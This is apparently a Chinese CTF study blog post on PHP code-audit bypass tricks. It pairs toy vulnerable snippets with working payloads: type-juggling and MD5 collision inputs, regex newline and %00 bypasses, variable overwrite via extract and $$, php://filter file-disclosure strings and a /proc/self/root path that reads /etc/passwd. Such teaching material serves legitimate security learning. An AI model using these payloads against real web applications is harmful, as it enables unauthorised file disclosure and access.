这篇文章发表于 432 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

在CTF的web方向中有一类简单的PHP代码审计的题目——大多像闯关一样,被人一点点拼起来的感觉——就比如那种PHP的弱类型比较,一旦不成功就die……其中还可能结合小tricks,网上的资料查起来相对零散,于是本文就针对这些相对基础或者说是简单的代码审计类题目吧,请自行揣摩。

部分内容觉得没写的必要,所以不是非常全面,请谅解……但我会在有必要的时候会追加些东西。

PHP弱类型

一般这部分内容都是等式判断为==的情况,因为==会把等式两边的内容转化为相同类型后再进行比较,因此有了操作的空间。

is_numeric

1
2
3
4
5
6
7
8
9
<?php
define('FLAG', 'flag{THIS_IS_FLAG}');
$f = $_GET['flag'];
is_numeric($f)? die("no numeric"): NULL;
//var_dump($f - 1336);
if($f > 1336) {
echo "success, flag:" . FLAG;
}
// ?flag=1337b

很显然,1337bis_numeric函数中被判断为非数字,但是却在后面的数学运算中被视为1337

json_deocde

1
2
3
4
5
6
7
8
<?php
define('FLAG', 'flag{THIS_IS_FLAG}');
$message = json_decode($_GET['flag']);
$key ="*********";
if ($message->key == $key){
echo "success, flag:" . FLAG;
}
// ?flag={"key":0}

这里应用到了0=="*********"这种形式绕过,属实是典中典。拥有类似问题的函数还有array_searchis_array,可参见该文章

strcmp

1
2
3
4
5
6
7
<?php
define('FLAG', 'flag{THIS_IS_FLAG}');
//var_dump(strcmp($_GET['flag'], FLAG));
if (strcmp($_GET['flag'], FLAG) == 0) {
echo "success, flag:" . FLAG;
}
// 传入数组即可,例如 ?flag[]=1

因为strcmp函数期待其中的参数均为字符串,但由于传入了一个数组类型的内容,于是strcmp比较出错,返回结果为null,因此在和0的弱类型比较中判定为相等。

intval

这个典型例子如下(PHP版本在7.0以下):

1
2
3
4
5
6
<?php
define('FLAG', 'flag{THIS_IS_FLAG}');
if (intval($_GET['num']) < 100 && intval($_GET['num'] + 1) >101) {
echo "success, flag:" . FLAG;
}
// 传入科学计数法的数字即可,例如 ?num=1e3

传入的1e3在前者中会被理解为1,但是会在后者中被理解为1001(因为后者的科学计数法在加上1后会变成正常的数字,再被intval函数处理)。

hash比较

这里的内容相对多些,我们就以md5函数为例来看看。

1
2
3
4
5
6
7
<?php
define('FLAG', 'flag{THIS_IS_FLAG}');
if ($_GET['s1'] != $_GET['s2'] && md5($_GET['s1']) == md5($_GET['s2'])) {
echo "success, flag:" . FLAG;
}
// solution1: ?s1=QNKCDZO&s2=240610708
// solution2: ?s1[]=1&s2[]=2

这里首先想到的一般是哈希碰撞,但想实现这个还是比较困难。于是我们继续利用弱类型。

第一个利用方式其实还利用到了科学计数法,原理就是md5('QNKCDZO') == '0e830400451993494058024219903391' == 0 == '0e462097431906509019562988736854' == md5('240610708')

第二个利用方式利用到了md5(array)的返回为null,因而轻松实现了绕过。但并不是所有时候都可以用这种方法,比如下面这种情况。

1
2
3
4
5
<?php
define('FLAG', 'flag{THIS_IS_FLAG}');
if ($_GET['md5'] == md5($_GET['md5'])) {
echo "success, flag:" . FLAG;
}

针对这道题,就只能使用第一种利用方式进行爆破,不是哈希碰撞!给出的Python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3
from hashlib import md5
def run():
i = 0
while True:
text = '0e{}'.format(i).encode("utf-8")
digest = md5(text)
m = digest.hexdigest()
#print(text, m)
if m[0:2] == '0e':
if m[2:].isdigit():
print('find it:',text,":",m)
break
i += 1
run()
# 最后找到了一个可用的答案:'0e215962017' : 0e291242476940776845150308577824

其实这里能够延伸的东西很多了,比如利用md5完成SQL注入就需要我们去爆破以获得含有形如'or'这类字符串,这些变化灵活运用即可。

那如果对本节第一个程序稍加改进,又会怎么样呢?

1
2
3
4
5
6
7
<?php
define('FLAG', 'flag{THIS_IS_FLAG}');
if ($_GET['s1'] != $_GET['s2'] && md5($_GET['s1']) === md5($_GET['s2'])) {
echo "success, flag:" . FLAG;
}
// solution1: ?s1=%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%16%B4%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%DC%9F%95ab%D2%09P%A1%5D%12%3B%1ETZ%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29%EF%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%1E%7Ch%B0%96%A7%E5U%EBn1q%CA%D0%8B%C7%1BSP&s2=%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%164%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%5C%A0%95ab%D2%09P%A1%5D%12%3B%1ET%DA%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29o%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%9E%7Bh%B0%96%A7%E5U%EBn1q%CA%D0%0B%C7%1BSP
// solution2: ?s1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&s2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

可见这里的解法采用了哈希碰撞……别问我这个字符串怎么构造出来的,问就是网上查的233……

另外,如果把题目改改,比如这里的s1s2是通过反序列化传进去的(因为GETPOST方法传进去的都只是字符串),那么可以考虑NAN(非数字)和INF(无穷大),在md5函数处理它们的时候,是将其直接转换为字符串"NAN"和字符串"INF"使用的,但它们与任何数据类型(除了true)做强类型或弱类型比较均为false,甚至NAN===NAN都是false,但md5('NaN')===md5('NaN')true

offset取值特性

这部分内容有变量覆盖的效果,但非常有限,仅仅能够影响字符串中的第一个字符。

1
2
3
4
5
6
7
8
<?php
$a = 'Flag';
define('FLAG', 'flag{THIS_IS_FLAG}');
$a["username"] = $_GET['username'];
if ($a === "flag") {
echo "success, flag:" . FLAG;
}
// ?username=f

%0?

这个标题可能让人感觉看不懂,这部分主要是介绍%0a%00等的利用,由于它们可能被用于截断,也可能被用于其他方式的绕过,因此难以一言蔽之,所以就取了这个愚蠢的标题2333。

preg_match

1
2
3
4
5
6
7
8
<?php
define('FLAG', 'flag{THIS_IS_FLAG}');
if (preg_match('/^.*flag.*$/', $_GET['s'])===0) { // 看似希望传入的内容不出现字符串flag
if (strpos($_GET['s'], 'flag')) { // strpos这样设计是希望执行类似于 cat /flag 这样的命令
echo "success, flag:" . FLAG;
}
}
// ?s=%0Aflag

这里需要注意%0A其实是换行,而preg_match函数默认匹配第一行,于是直接实现了绕过。但是后者strpos能够检测到传入字符串中的flag如果还想绕过strpos,用数组就行了)。

preg_match这样的函数还有preg_match_all

ereg

1
2
3
4
5
6
7
8
<?php
define('FLAG', 'flag{THIS_IS_FLAG}');
if (ereg(".*flag.*", $_GET['s']) === FALSE) {
if (strpos($_GET['s'], 'flag')) { // strpos这样设计是希望执行类似于 cat /flag 这样的命令
echo "success, flag:" . FLAG;
}
}
// ?s=%00flag

这里用到了%00截断(当ereg函数读到 %00的时候,就认为已经读到字符串的结尾而结束,后面的东西就全部无视了)。

$_SERVER[‘QUERY_STRING’]

对付这个有很多花招,但具体用啥还得看各种情况。比如以下一个简单的例子。

1
2
3
4
5
6
7
8
<?php
$query = $_SERVER['QUERY_STRING'];
//echo $query;
define('FLAG', 'flag{THIS_IS_FLAG}');
if (preg_match('/.*flag.*/', $query) === 0 && $_GET['s'] === 'flag') { // 注意这里后者如果是用strpos来判断的话就没办法绕
echo "success, flag:" . FLAG;
}
// ?s=%66%6C%61%67

$_SERVER['QUERY_STRING']不会进行URLDecode。URL编码可以参考这里,建议不要再浏览器里直接输入这个payload(可能会帮你自动编码),可以使用curl命令或者HackBar注意:以上判断中后者如果是用strpos来判断的话就没办法绕。

接下来的样例出自[MRCTF2020]套娃

1
2
3
4
5
6
7
8
9
<?php
$query = $_SERVER['QUERY_STRING'];
if(substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])) {
echo "you are going to the next ~";
}
// ?b%20u%20p%20t=23333%0a

对于第二个判断,就是对preg_match中提到的%0a的利用;而对于第一个判断的绕过,就需要提到PHP解析查询字符串的方式。以下图片引自该文章,它较详细地探索了parser_str对字符串的处理。

parser_str

变量覆盖

虽然觉得这个是某一类的漏洞,但在这类简单题中还是时不时会遇到,所以写一下。

覆盖的话,当然是要覆盖后得到自己希望的值啦,甚至一些时候可能会考虑将变量覆盖为null

parse_str

刚刚在$_SERVER['QUERY_STRING']里面提到了parse_strparse_str本身只是将字符串内容解析到变量中,但也有一些简单的问题,后果便是变量覆盖。

1
2
3
4
5
6
7
8
9
<?php
$a='666666';
parse_str($_SERVER['QUERY_STRING']);
//echo $query;
define('FLAG', 'flag{THIS_IS_FLAG}');
if ($a[0] === "flag") {
echo "success, flag:" . FLAG;
}
// ?a[0]=flag

解决这个漏洞的方法可以指定parse_str的第二个参数。另外,类似的函数还有mb_parse_str

extract

1
2
3
4
5
6
7
8
<?php
$a = '';
extract($_GET);
define('FLAG', 'flag{THIS_IS_FLAG}');
if ($a === "flag") {
echo "success, flag:" . FLAG;s
}
// ?a=flag

extract函数效果是将数组中的变量导入,但却可以完成变量的覆盖。

$$

这个很经典,程序员原本只是希望能够将获取到的数组键名作为变量,数组中的键值作为变量的值,但很可能会出现奇怪的后果。接下来的样例出自[BugsBunnyCTF2017]SimplePHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$flag = "flag{THIS_IS_FLAG}";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
$_200 = "ffff";
if ($_SERVER["REQUEST_METHOD"] != "POST"){
die("BugsBunnyCTF is here :p…");
}
if ( !isset($_POST["flag"]) ){
die($_403);
}
foreach ($_GET as $key => $value){ // 循环1
$$key = $$value;
}
foreach ($_POST as $key => $value){ // 循环2
$$key = $value;
}
if ($_POST["flag"] !== $flag) {
die($_403);
} else {
echo "This is your flag : ". $flag . "\n";
die($_200);
}
// ?_200=flag
// POST: flag=anyword

最开始的想法肯定是通过$flag来输出答案,但是显然在这个题里面变量已经被释放掉了,所以需要通过$_403或者$_200来输出答案,这就需要用到变量覆盖。

传入以上的payload,在循环1结束之后有$_200=$flag;在循环2结束之后有$flag="anyword",这时的$flag已经没意义了,但是$_200已经将答案取出来了。

文件路径

这些是针对文件路径方面的攻击,一般要结合file_get_contents或者file_put_contents或者highlight_file这种函数。

常用php://filter过滤器

  • 无过滤器

    php://filter/resource=

  • 字符串过滤器

    php://filter/read=string.rot13/resource=

    php://filter/read=string.toupper/resource=

    php://filter/read=string.tolower/resource=

    php://filter/read=string.string_tags/resource=

  • 转换过滤器

    这里的内容比较常用。

    php://filter/read=convert.base64-encode/resource=

    php://filter/read=convert.quoted-printable-encode/resource=

    php://filter/write=convert.base64-encode/resource=

更多内容可参考该文章

这里再给个例题[BSidesCF 2020]Had a bad day

1
2
3
4
5
6
7
8
9
<?php
$file = $_GET['category'];
if (isset($file)) {
if (strpos($file, "woofers") !== false || strpos($file, "meowers") !== false || strpos($file, "index")) {
include($file . '.php');
} else {
echo "Sorry, we currently only support woofers and meowers.";
}
}

相应的payload可为以下内容:

1
2
3
4
?category=php://filter/read=convert.base64-encode/woofers/resource=flag
?category=php://filter/read=convert.base64-encode/woofers/woofers/resource=flag
?category=php://filter/read=convert.base64-encode/resource=woofers/../flag
?category=php://filter/read=convert.base64-encode/resource=woofers/../woofers/../flag

不增加其他伪协议的内容了,更多的payload可参见该文章

is_file

1
2
3
4
5
<?php
if (!is_file($_GET['path']) && !file_exists($_GET['path'])) {
echo file_get_contents($_GET['path']);
}
// ?path=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/etc/passwd

其中/proc/self/root/是指向/的符号链接,这个payload在对付require_once函数也有着一定的效果,具体可见此网站

basename

这里的漏洞在高版本的PHP中得到了修复。该样例选自[Zer0pts2020]Can you guess it?,题中的哈希其实只是障眼法==。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
// visit /index.php/config.php/%81?source

重点其实在正则绕过和对basename函数的利用上。其中basename函数会返回访问路径中的文件名部分。但如果没有%81这样的字符的干扰的话,由于$_SERVER['PHP_SELF']处理后的结果为/index.php/config.php,会被正则表达式刷掉。如果能够将结果拓展为形如/index.php/config.php/a这样的路径,那么我们就不用担心正则表达式的问题——查看此文章,发现只要将以上的a替换为%80~`%ff`中的任意一个字符即可。

其他

这里记录些其他的细碎知识点。

  • $_REQUEST在同时接收GETPOST参数时,POST的优先级更高,如果GET和POST都有相同的参数,在检测时POST的值就会覆盖GET的值;
  • =的运算符等级比and高;
  • %09在PHP的命令执行中可以作为空格的替代。

参考文献

https://www.freebuf.com/articles/web/261802.html

https://lazzzaro.github.io/2020/05/18/web-PHP%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF/index.html

https://www.cnblogs.com/zaqzzz/p/10288162.html(命令执行的绕过,推荐)